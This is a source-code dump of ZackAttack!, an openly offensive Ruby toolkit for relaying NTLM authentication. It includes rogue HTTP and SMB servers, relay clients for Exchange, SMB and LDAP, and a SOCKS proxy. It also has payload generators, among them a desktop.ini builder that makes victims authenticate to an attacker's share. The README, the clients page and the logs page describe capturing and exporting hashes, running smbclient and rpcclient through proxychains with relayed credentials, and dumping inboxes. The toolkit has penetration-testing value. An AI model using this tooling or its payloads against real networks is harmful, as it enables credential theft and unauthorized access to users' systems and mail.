├── clients ├── mssql.rb ├── psexec.rb ├── sharepoint.rb ├── staticchal.rb ├── apireq.rb ├── smb.rb ├── ews.rb └── ldap.rb ├── bootstrap ├── img │ ├── glyphicons-halflings.png │ └── glyphicons-halflings-white.png ├── quick.erb ├── 404.erb ├── config.erb ├── logs.erb ├── index.erb ├── footer.erb ├── help.erb ├── js │ ├── bootstrap-transition.js │ ├── bootstrap-dropdown.js │ ├── bootstrap-popover.js │ ├── bootstrap-modal.js │ ├── bootstrap-typeahead.js │ ├── bootstrap-tooltip.js │ └── bootstrap.min.js ├── clients.erb ├── header.erb ├── leftbar.erb ├── 101.erb ├── users.erb ├── css │ ├── bootstrap-responsive.min.css │ └── bootstrap-responsive.css ├── payloads.erb └── rules.erb ├── lib ├── zfcli.rb ├── zfclient.rb ├── zfadmingui.rb ├── zfhttpd.rb ├── zfsmbd.rb ├── zfsocks.rb ├── zfntlm.rb └── zfdb.rb ├── results └── wtf.txt ├── payloads ├── webpage.rb ├── email.rb ├── worddoc.rb └── desktopini.rb ├── ChangeLog.md ├── LICENSE ├── zackattack.rb ├── config.rb └── README.md /clients/mssql.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | mssql 5 | =end -------------------------------------------------------------------------------- /clients/psexec.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | psexec relay 5 | =end -------------------------------------------------------------------------------- /clients/sharepoint.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | sharepoint dumps! 5 | =end 6 | -------------------------------------------------------------------------------- /bootstrap/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/urbanesec/ZackAttack/HEAD/bootstrap/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /bootstrap/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/urbanesec/ZackAttack/HEAD/bootstrap/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /lib/zfcli.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | coming eventually. on the todo list 4 | =end 5 | 6 | module ZFadmingui 7 | class Cli 8 | 9 | end 10 | 11 | end -------------------------------------------------------------------------------- /results/wtf.txt: -------------------------------------------------------------------------------- 1 | Results from certian modules go here into a textfile for now since they are too large for a db storage... you know... like full inbox dumps. 2 | -------------------------------------------------------------------------------- /payloads/webpage.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | javascript for injection into webpages (detect browser + os and provide payload accordingly) 5 | options include exploit method for firefox/safari (force download / addon exploitation ) 6 | =end 7 | -------------------------------------------------------------------------------- /bootstrap/quick.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 |
5 |

Coming Soon-ish

6 |

There are no quickrules written out yet, but will come soon. Think auto generation of common flows.

7 |
8 |
9 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /payloads/email.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | for generating html embeded emails for pwning outlook. options include attachments to add to file 5 | 6 | 7 | OPTIONS 8 | - Subject / Sender / Body Text 9 | - Embed Img 10 | - Attach HTML file 11 | - Attach Word Doc 12 | - Link in email to click 13 | 14 | 15 | =end 16 | 17 | -------------------------------------------------------------------------------- /bootstrap/404.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 |
5 |

404ed!

6 |

This Page Doesn't Exist, fool. And even if it was supposed to, you're in the wrong either way.

7 |

Requested URI: <%=servlet_request.request_uri%> 8 |

9 |
10 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /bootstrap/config.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 |
5 |

Config Coming Soon

6 |

Right now, no live dynamic config is available, but will be soon-ish. For now, check config.rb in base. Configs will include small stuff such as server name, guid, etc.

7 |
8 |
9 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /payloads/worddoc.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | for generating img embeded into word docs 5 | =end 6 | 7 | module ZFPayload 8 | class Worddoc 9 | def self.build(ip,path,file,params=nil) 10 | content = " 11 | 12 | 13 | 14 | 15 | " 16 | return content 17 | end 18 | end 19 | end -------------------------------------------------------------------------------- /payloads/desktopini.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | desktop.ini generation 5 | 6 | [.ShellClassInfo] 7 | IconResource=\\ipaddr\share\path 8 | [ViewState] 9 | FolderType=Generic 10 | 11 | attrib +H desktop.ini 12 | =end 13 | 14 | module ZFPayload 15 | class Desktopini 16 | def self.build(ip,path,file,params=nil) 17 | payload = "[.ShellClassInfo] 18 | IconResource=\\\\" + ip + "\\" + path + "\\" + file + " 19 | [ViewState] 20 | FolderType=Generic 21 | " 22 | return payload 23 | end 24 | end 25 | end -------------------------------------------------------------------------------- /bootstrap/logs.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 |
5 |

Logs and shiznit

6 |
7 |
8 |

Export Hashes

9 |
<%	a = ZFdb::DB.new
10 | a.ExportHashes.each do |val|
11 | if val[3].length == 48%><%=val[9] +"::" + val[10] + ":" + val[4] + ":" + val[3] + ":" + val[2]%><%elsif val[3].length !=0 %><%=val[9] +"::" + val[10] + ":" + val[2] + ":" + val[3][0,32] + ":" + val[3][32..-1]%><%end%>
12 | 
13 | <%end%>
14 | 
15 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /clients/staticchal.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | static 112233.... 5 | =end 6 | require 'base64' 7 | require 'zfntlm' 8 | module ZFClient 9 | class StaticType2 10 | def initialize (server,port) 11 | @server = "woof" 12 | return true 13 | end 14 | 15 | def connect 16 | 17 | end 18 | 19 | def sendtype1(type1msg) 20 | a = ZFNtlm::Message.new() 21 | return a.buildtype2 22 | end 23 | 24 | def sendtype3(type3msg, rawpkt, details=nil) 25 | return 26 | end 27 | 28 | def execute 29 | 30 | end 31 | end 32 | end 33 | -------------------------------------------------------------------------------- /ChangeLog.md: -------------------------------------------------------------------------------- 1 | ### 0.1.1 / 2012-08-29 2 | 3 | * Disabled Left Nav Bar Dropdown Rules as they were not coded. Coming soon. 4 | * Updated Users page to include auth method and path. Integrated coding to ignore IPC$ 5 | * Fixed EWS bug where CHANGEME was not being replaced in the xml with a folder name. 6 | * Fixed issue with random auths failing due to use of gsub("\n","") of base64 encoded api data and \x0a used in some ntlm auths. 7 | * Fixed Rule logic for user not executing rules on first connection attempt (i.e. no user id created and recieving 0) 8 | * Fixed typo for Errno::EACCES 9 | * Fixed issue with left bar not removing users after connection terminates 10 | 11 | ### 0.1.0 / 2012-08-08 12 | 13 | * Initial release: 14 | -------------------------------------------------------------------------------- /clients/apireq.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | api requests 5 | =end 6 | require 'zfdb' 7 | require 'base64' 8 | 9 | module ZFClient 10 | class Apireq 11 | def initialize (server,port) 12 | @db = ZFdb::DB.new 13 | @reqid = server 14 | @uid = port 15 | end 16 | 17 | def sendtype1(type1msg) 18 | res = @db.ProcessApiReq(@reqid) #type2msg 19 | return Base64.decode64(res[2])#.gsub("\n",'') 20 | end 21 | 22 | def sendtype3(type3msg, rawpkt, details) 23 | begin 24 | 25 | @db.SetApiResp(@reqid,Base64.encode64(type3msg).gsub("\n",'').strip) 26 | rescue 27 | puts $! end 28 | end 29 | 30 | 31 | end 32 | end -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | I'll figure out which licenscing scheme to use later, but for now: 2 | outside of the bootstrap library for the gui which follows Apache 2.0 License couresty of Twitter.... 3 | 4 | Copyright (c) 2012, Zack Fasel 5 | All rights reserved. 6 | 7 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 8 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 9 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 10 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 11 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 12 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 13 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 14 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 15 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 16 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /bootstrap/index.erb: -------------------------------------------------------------------------------- 1 | <% 2 | db = ZFdb::DB.new() 3 | results = db.GetActiveSessions() 4 | %> 5 | <%= ZFadmingui.Header %> 6 | 7 |
8 | <%= ZFadmingui.Leftbar %> 9 |
10 |
11 |
12 |

Welcome to ZackAttack!

13 |

Extermely Alpha Version 0.a.lessfail - Posted August 29th 2012 - CHECK FOR UPDATES VIA GIT!!

14 |

This is a new level of relaying NTLM authentication requets

15 |
16 |
17 |
18 | 19 |

Getting Started

If you havn't noticed, look up ;). All the navigation is across the top.

20 |

News and Update Notes

21 |

There's a LOT more to come. Now that the framework is in place, we can start to build more of the automation and clients.

22 |
23 |
24 | 25 | <%= ZFadmingui.Footer %> 26 | -------------------------------------------------------------------------------- /zackattack.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | $: << File.expand_path(File.dirname(__FILE__)) 4 | $: << File.expand_path(File.dirname(__FILE__) + "/lib") 5 | $: << File.expand_path(File.dirname(__FILE__) + "/clients") 6 | $: << File.expand_path(File.dirname(__FILE__) + "/payloads") 7 | require 'config' 8 | require 'zfhttpd' 9 | require 'zfsmbd' 10 | require 'zfadmingui' 11 | require 'zfsocks' 12 | puts "==================================================" 13 | puts "Here Goes ZackAttack! Booting Up!....." 14 | puts "==================================================" 15 | #clear out old sessions / stuf TODO: consolidate into an init sequence / db cleanup 16 | db = ZFdb::DB.new() 17 | # TODO catch readonly andother db errors 18 | db.ClearActiveSessions 19 | db.db.execute("DELETE FROM aresults") 20 | 21 | smb = ZFsmb::Server.new(SMBDIP) #only works on 445 22 | http = ZFhttpd::Server.new(HTTPIP,HTTPPort) 23 | 24 | gui = ZFadmingui::Http.new(MGMTIP,MGMTPort) 25 | socks = ZFsocks::Server.new(SOCKSIP,SOCKSPort) 26 | #add CLI 27 | c = Thread.new{gui.start()} 28 | d = Thread.new{socks.start()} 29 | b = Thread.new{smb.start()} 30 | a = Thread.new{http.start()} 31 | c.join 32 | puts "exiting" -------------------------------------------------------------------------------- /config.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | 5 | ##################################################################### 6 | 7 | YOUR CONFIGS!!!!!! RAWR 8 | TODO: Put in a real about for the configs :) 9 | 10 | ##################################################################### 11 | 12 | So things the user should set after startup 13 | - Domain Controllers (if external) 14 | - dns server? 15 | - EWS target 16 | - default domain for 1122334455667788 17 | - default hostname for 1122334455667788 18 | - default challange hash 19 | - socks ports to disect (i.e. 445,445/8443,80/8080/8000, etc.) 20 | =end 21 | SMBDIP = "0.0.0.0" 22 | HTTPIP = "0.0.0.0" 23 | HTTPPort = "80" 24 | MGMTIP = "0.0.0.0" 25 | MGMTPort = "4531" 26 | SOCKSIP = "127.0.0.1" 27 | SOCKSPort = "4532" 28 | 29 | MGMTUser = "zf" 30 | MGMTPass = "zf" 31 | 32 | APIUser = "api" 33 | APIPass = "api" 34 | 35 | DBFile = File.expand_path(File.dirname(__FILE__) + "/za.db") 36 | 37 | GUID = "\x6e\x09\x9f\x3f\x4a\xf0\x64\x4f\xa2\x9f\xd8\xb2\xd6\x5f\x4f\x7d" 38 | NativeOS = "Unix" 39 | NativeLM = "Samba" 40 | 41 | =begin 42 | Configs to add: 43 | httpd bind ip 44 | smbd bind ip 45 | managmeent port / password 46 | api password 47 | database file 48 | =end 49 | -------------------------------------------------------------------------------- /bootstrap/footer.erb: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 | 5 | 8 | 9 | 10 | 11 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /bootstrap/help.erb: -------------------------------------------------------------------------------- 1 | <%=ZFadmingui.Header%> 2 |
3 |
4 |

HALP!

5 |
6 |

WTF is this Tool?

7 |

ZackAttack! is a combination servers, clients, ruleset, and payload generator for relaying NTLM network auth requests. More details can be found at zfasel.com/ntlm

8 |

xyz Isnt Working

9 |

This tool is still HIGHLY ALPHA. There's next to no error output or logging. With that said, if you come across a problem, let me know and I'll do my best to figure out the issue / patch the code. There are some circumstances where stuff will just not work(i.e. smb signing), and in the future versions i'll try to include detection and notification of this instead of just failing

10 |

I have a feature request!

11 |

Awesome. Let me know about it or better yet, code it and i'll integrate it :).

12 |

I Need More Help!

13 |

Honestly, There's no help right now. It's what you get for free. If you want to toss me redbull/vodka money on the other hand in return for some help / as a thank you....

14 |

Email : dc20 [at] zfasel [dot] com / Twitter: @zfasel

15 |
16 |
17 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /bootstrap/js/bootstrap-transition.js: -------------------------------------------------------------------------------- 1 | /* =================================================== 2 | * bootstrap-transition.js v2.0.4 3 | * http://twitter.github.com/bootstrap/javascript.html#transitions 4 | * =================================================== 5 | * Copyright 2012 Twitter, Inc. 6 | * 7 | * Licensed under the Apache License, Version 2.0 (the "License"); 8 | * you may not use this file except in compliance with the License. 9 | * You may obtain a copy of the License at 10 | * 11 | * http://www.apache.org/licenses/LICENSE-2.0 12 | * 13 | * Unless required by applicable law or agreed to in writing, software 14 | * distributed under the License is distributed on an "AS IS" BASIS, 15 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | * See the License for the specific language governing permissions and 17 | * limitations under the License. 18 | * ========================================================== */ 19 | 20 | 21 | !function ($) { 22 | 23 | $(function () { 24 | 25 | "use strict"; // jshint ;_; 26 | 27 | 28 | /* CSS TRANSITION SUPPORT (http://www.modernizr.com/) 29 | * ======================================================= */ 30 | 31 | $.support.transition = (function () { 32 | 33 | var transitionEnd = (function () { 34 | 35 | var el = document.createElement('bootstrap') 36 | , transEndEventNames = { 37 | 'WebkitTransition' : 'webkitTransitionEnd' 38 | , 'MozTransition' : 'transitionend' 39 | , 'OTransition' : 'oTransitionEnd' 40 | , 'msTransition' : 'MSTransitionEnd' 41 | , 'transition' : 'transitionend' 42 | } 43 | , name 44 | 45 | for (name in transEndEventNames){ 46 | if (el.style[name] !== undefined) { 47 | return transEndEventNames[name] 48 | } 49 | } 50 | 51 | }()) 52 | 53 | return transitionEnd && { 54 | end: transitionEnd 55 | } 56 | 57 | })() 58 | 59 | }) 60 | 61 | }(window.jQuery); -------------------------------------------------------------------------------- /lib/zfclient.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | exchange web services client 5 | =end 6 | require 'ews' 7 | require 'smb' 8 | require 'ldap' 9 | require 'staticchal' 10 | require 'zfdb' 11 | require 'apireq' 12 | 13 | 14 | module ZFClient 15 | class Router 16 | def initialize (uid,timeout) 17 | #puts "uid" 18 | #puts uid.inspect 19 | 20 | @db = ZFdb::DB.new 21 | begin 22 | item = nil 23 | Timeout.timeout(timeout) { 24 | while item == nil do 25 | item = @db.GetApiReq(uid) 26 | if item == nil then item = @db.GetTodoItem(uid)[0] end 27 | if item == nil then sleep 0.2 end 28 | end 29 | @details = {"uid" => uid, "aid" => item["aid"],"tid" => item["tid"] } 30 | @arid = @db.ActionPerformed(item["aid"],item["tid"],uid) 31 | @tip = item["tipaddr"] 32 | 33 | # Look for stuff from db a loop minding timeout 34 | # try to connect minding timeout 35 | # if can't connect, break it and repeat trying to find stuff 36 | mtype = item["moduleid"] 37 | if mtype == 1 then 38 | puts "EWS Action " + @tip 39 | if !(@client = ZFClient::EWS.new(@tip,443)) then 40 | #todo CONNECTION REFUSED ERRORS! 41 | puts "FAIL!" 42 | end 43 | elsif mtype == 2 then 44 | puts "SMB Action " + @tip 45 | if !(@client = ZFClient::Smb.new(@tip,445)) then 46 | puts "FAIL!" 47 | end 48 | elsif mtype == 3 then 49 | puts "LDAP Action " + @tip 50 | if !(@client = ZFClient::Ldap.new(@tip,389)) then 51 | puts "FAIL!" 52 | end 53 | elsif mtype == 0 then 54 | puts "API Action " + @tip 55 | @client = ZFClient::Apireq.new(@tip,uid) 56 | end 57 | 58 | } 59 | rescue Timeout::Error 60 | puts "No Instructions for " + uid.to_s 61 | end 62 | if @client == nil 63 | @client = ZFClient::StaticType2.new("0.0.0.0",0) 64 | end 65 | end 66 | 67 | def sendtype1(ntlmdata) 68 | return @client.sendtype1(ntlmdata) 69 | end 70 | def sendtype3(ntlmdata,rawpkt=nil) 71 | # this should be a send it and forget it kind of thing. should be already threaded by httpd and smbd 72 | #puts "Type3Data sending to client" 73 | @client.sendtype3(ntlmdata,rawpkt,@details) 74 | end 75 | end 76 | end 77 | -------------------------------------------------------------------------------- /bootstrap/clients.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 |

Clients

5 |

Most of the clients right now are written in as auto-clients into the rules. There are 2 manual driven clients available at release time now


6 |

SOCKS Proxy


7 |

SMB

8 |

Im not going to write a whole howto to do this, but you can use proxychains wrapped with smbclient or any other tool that uses smb on 445. The socks proxy will see the NTLM auth packets, snatch the type2 response, pass it to the tool, and then rewrite the type3 response.

9 |

The easiest way to explain this is with a code example. Say i see user testdom\testuser connecting. After configuring proxychains, 10 |

11 | [ProxyList]
12 | socks5	127.0.0.1	4532
13 | 
14 | I can do...

15 |
16 | proxychains smbclient -U testdom/testuer%anybspassitignoresit //targetip/share
17 | 
18 |

Cool? I think so. But how about just enmueration?

19 |
20 | proxychains rpcclient -c 'enumalsgroups builtin' -U 'domain\machinename$'%'anypassworditignoresitanyways' 'targetIP'
21 | 
22 |

That's right. It works with HOSTNAME$ system accounts. Mind blown yet?

23 |

HTTP

24 |

Not supported yet, but won't take much to add. It's coming soon.


25 |

API requests

26 |

So using the admin UI (default port 4531), and using basic auth, you can request type3 responses by passing the type2 of the target you recieve. This can be obviously added into any tool you want (similar to how squirtle was written).

27 |
28 | http://<adminuiip>:<adminuiport>/api/?a=type2&d=<userdomainyouwant>@u=<useryouwant>&msg=<base64encode(type2msg)>
29 | 
30 |

So for example, for api basic auth of api:api and wanting to auth as testdom\testuser...

31 |
32 | http://api:api@127.0.0.1:4531/api/?a=type2&d=testdom&u=testuser&msg=TlRMTVNTUAACAAAADAAMADgAAAAVgoFiESIzRFVmd4gAAAAAAAAAAGYAZgBEAAAABgGwHQAAAA9EAE8ATQBBAEkATgACAAwARABPAE0AQQBJAE4AAQAQAEgATwBTAFQATgBBAE0ARQAEABQARABPAE0AQQBJAE4ALgBUAEwARAADACIAUwBFAFIAVgBFAFIALgBEAE8ATQBBAEkATgAuAFQATABEAAAAAAA=
33 | 
34 |

Response with the type3 base64 encoded. The page waits for a response up until a timeout is reached. Fixes are needed if timeout is reached for now, but it works. Alpha-ish.


35 |

More Clients?

36 |

More request driven vs. rule driven clients are coming. Soon.

37 |
38 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /bootstrap/header.erb: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ZackAttack! - Go Go Gadget NTLM Relay! 6 | 7 | 8 | 9 | 10 | 11 | 20 | 21 | 22 | 23 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 76 |
77 |
78 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ===== 2 | ZackAttack! - Realying NTLM Like Nobody's Business 3 | ===== 4 | 5 | 6 | ======= 7 | WTF Is This? 8 | ======= 9 | 10 | tl;dr version - ZackAttack! is a new Tool Set to do NTLM Authentication relaying unlike any other tool currently out there. 11 | 12 | = 13 | So how is ZackAttack! different / better? Compared to other tools... 14 | = 15 | 16 | - Supports NTLMv2 :) 17 | - Brings up external impact for NTLM by relaying to external Exchange Web Services servers ( think mobile phone users :) ) 18 | - Custom Rogue HTTP and SMB Server funneling into a single pooled source and knows who the user is and keeps them authenticating without closing the socket 19 | - Rule based logic to auto-perform actions upon seing a user belonging to a group. When no rule exists, the rogue server holds on to the auth session as long as possible until a rule or api request comes in. 20 | - Auto / Guided generation to creating methods to get users to auto-authenticate without interaction 21 | - New methods for client auto authentication including geting FF/Chrome to auto-auth via UNC SMB shares (similar to IE) 22 | - Relaying to LDAP (critical for relaying to Domain Controllers), Exchange Web Services, and soon mssql. 23 | - SOCKS proxy to allow NTLM relay attacks with your favorite tools (proxychains smbclient....etc) 24 | - Focuses on not just poping the shells that traditional relays do, but leveraging dumb users as well and getting data through them. 25 | 26 | So much for tl;dr ;) The goal? A Firesheep esque tool for relaying NTLM auths 27 | 28 | = 29 | How do I Get Started 30 | = 31 | 32 | 1) ruby zackattack.rb 33 | 34 | 2) open your favorite browser to http://zf:zf@localhost:4531/ 35 | 36 | 3) ..... 37 | 38 | 4) PROFIT! Or not. It's alpha still. 39 | 40 | Code is written for ruby1.9 but should work with 1.8. Requires net/http(s) and webrick rubygems 41 | 42 | = 43 | So What Are the Components 44 | = 45 | 46 | The Rogue Servers - HTTP and SMB. These get the auth requests and keep recycling them 47 | 48 | The Clients - These connect to target servers and request NTLM creds from the Rogue Servers 49 | 50 | The Rules - Define auto actions to perform upon seeing a user. 51 | 52 | The Payloads - Methods to get users to autoauth with Integrated Windows Auth ergo not prompting the user for auth. 53 | 54 | = 55 | XYZ Doesn't work 56 | = 57 | 58 | I'm sure it doesn't ;) I don't always code in ruby, but when i do, i make sure to introduce as many bugs as possible :) 59 | 60 | Submit as much info as you can (comfortably) to the issues page. Please try to get a wireshark / pcap capture if it's a client issue. If it contains sensitive data (i.e. ntlm creds of a client) let me know and we can work around that if possible. 61 | 62 | Feature request? I want to hear it! Check the todo file and see if i already mentioned it in there, otherwise submit! 63 | 64 | I'll fill in more details later.... -------------------------------------------------------------------------------- /bootstrap/leftbar.erb: -------------------------------------------------------------------------------- 1 | <% 2 | db = ZFdb::DB.new() 3 | results = db.GetActiveSessions() 4 | users = db.GetUsers() 5 | %> 6 | 7 | 68 | 69 | 90 | -------------------------------------------------------------------------------- /bootstrap/js/bootstrap-dropdown.js: -------------------------------------------------------------------------------- 1 | /* ============================================================ 2 | * bootstrap-dropdown.js v2.0.4 3 | * http://twitter.github.com/bootstrap/javascript.html#dropdowns 4 | * ============================================================ 5 | * Copyright 2012 Twitter, Inc. 6 | * 7 | * Licensed under the Apache License, Version 2.0 (the "License"); 8 | * you may not use this file except in compliance with the License. 9 | * You may obtain a copy of the License at 10 | * 11 | * http://www.apache.org/licenses/LICENSE-2.0 12 | * 13 | * Unless required by applicable law or agreed to in writing, software 14 | * distributed under the License is distributed on an "AS IS" BASIS, 15 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | * See the License for the specific language governing permissions and 17 | * limitations under the License. 18 | * ============================================================ */ 19 | 20 | 21 | !function ($) { 22 | 23 | "use strict"; // jshint ;_; 24 | 25 | 26 | /* DROPDOWN CLASS DEFINITION 27 | * ========================= */ 28 | 29 | var toggle = '[data-toggle="dropdown"]' 30 | , Dropdown = function (element) { 31 | var $el = $(element).on('click.dropdown.data-api', this.toggle) 32 | $('html').on('click.dropdown.data-api', function () { 33 | $el.parent().removeClass('open') 34 | }) 35 | } 36 | 37 | Dropdown.prototype = { 38 | 39 | constructor: Dropdown 40 | 41 | , toggle: function (e) { 42 | var $this = $(this) 43 | , $parent 44 | , selector 45 | , isActive 46 | 47 | if ($this.is('.disabled, :disabled')) return 48 | 49 | selector = $this.attr('data-target') 50 | 51 | if (!selector) { 52 | selector = $this.attr('href') 53 | selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7 54 | } 55 | 56 | $parent = $(selector) 57 | $parent.length || ($parent = $this.parent()) 58 | 59 | isActive = $parent.hasClass('open') 60 | 61 | clearMenus() 62 | 63 | if (!isActive) $parent.toggleClass('open') 64 | 65 | return false 66 | } 67 | 68 | } 69 | 70 | function clearMenus() { 71 | $(toggle).parent().removeClass('open') 72 | } 73 | 74 | 75 | /* DROPDOWN PLUGIN DEFINITION 76 | * ========================== */ 77 | 78 | $.fn.dropdown = function (option) { 79 | return this.each(function () { 80 | var $this = $(this) 81 | , data = $this.data('dropdown') 82 | if (!data) $this.data('dropdown', (data = new Dropdown(this))) 83 | if (typeof option == 'string') data[option].call($this) 84 | }) 85 | } 86 | 87 | $.fn.dropdown.Constructor = Dropdown 88 | 89 | 90 | /* APPLY TO STANDARD DROPDOWN ELEMENTS 91 | * =================================== */ 92 | 93 | $(function () { 94 | $('html').on('click.dropdown.data-api', clearMenus) 95 | $('body') 96 | .on('click.dropdown', '.dropdown form', function (e) { e.stopPropagation() }) 97 | .on('click.dropdown.data-api', toggle, Dropdown.prototype.toggle) 98 | }) 99 | 100 | }(window.jQuery); -------------------------------------------------------------------------------- /bootstrap/js/bootstrap-popover.js: -------------------------------------------------------------------------------- 1 | /* =========================================================== 2 | * bootstrap-popover.js v2.0.4 3 | * http://twitter.github.com/bootstrap/javascript.html#popovers 4 | * =========================================================== 5 | * Copyright 2012 Twitter, Inc. 6 | * 7 | * Licensed under the Apache License, Version 2.0 (the "License"); 8 | * you may not use this file except in compliance with the License. 9 | * You may obtain a copy of the License at 10 | * 11 | * http://www.apache.org/licenses/LICENSE-2.0 12 | * 13 | * Unless required by applicable law or agreed to in writing, software 14 | * distributed under the License is distributed on an "AS IS" BASIS, 15 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | * See the License for the specific language governing permissions and 17 | * limitations under the License. 18 | * =========================================================== */ 19 | 20 | 21 | !function ($) { 22 | 23 | "use strict"; // jshint ;_; 24 | 25 | 26 | /* POPOVER PUBLIC CLASS DEFINITION 27 | * =============================== */ 28 | 29 | var Popover = function ( element, options ) { 30 | this.init('popover', element, options) 31 | } 32 | 33 | 34 | /* NOTE: POPOVER EXTENDS BOOTSTRAP-TOOLTIP.js 35 | ========================================== */ 36 | 37 | Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype, { 38 | 39 | constructor: Popover 40 | 41 | , setContent: function () { 42 | var $tip = this.tip() 43 | , title = this.getTitle() 44 | , content = this.getContent() 45 | 46 | $tip.find('.popover-title')[this.isHTML(title) ? 'html' : 'text'](title) 47 | $tip.find('.popover-content > *')[this.isHTML(content) ? 'html' : 'text'](content) 48 | 49 | $tip.removeClass('fade top bottom left right in') 50 | } 51 | 52 | , hasContent: function () { 53 | return this.getTitle() || this.getContent() 54 | } 55 | 56 | , getContent: function () { 57 | var content 58 | , $e = this.$element 59 | , o = this.options 60 | 61 | content = $e.attr('data-content') 62 | || (typeof o.content == 'function' ? o.content.call($e[0]) : o.content) 63 | 64 | return content 65 | } 66 | 67 | , tip: function () { 68 | if (!this.$tip) { 69 | this.$tip = $(this.options.template) 70 | } 71 | return this.$tip 72 | } 73 | 74 | }) 75 | 76 | 77 | /* POPOVER PLUGIN DEFINITION 78 | * ======================= */ 79 | 80 | $.fn.popover = function (option) { 81 | return this.each(function () { 82 | var $this = $(this) 83 | , data = $this.data('popover') 84 | , options = typeof option == 'object' && option 85 | if (!data) $this.data('popover', (data = new Popover(this, options))) 86 | if (typeof option == 'string') data[option]() 87 | }) 88 | } 89 | 90 | $.fn.popover.Constructor = Popover 91 | 92 | $.fn.popover.defaults = $.extend({} , $.fn.tooltip.defaults, { 93 | placement: 'right' 94 | , content: '' 95 | , template: '

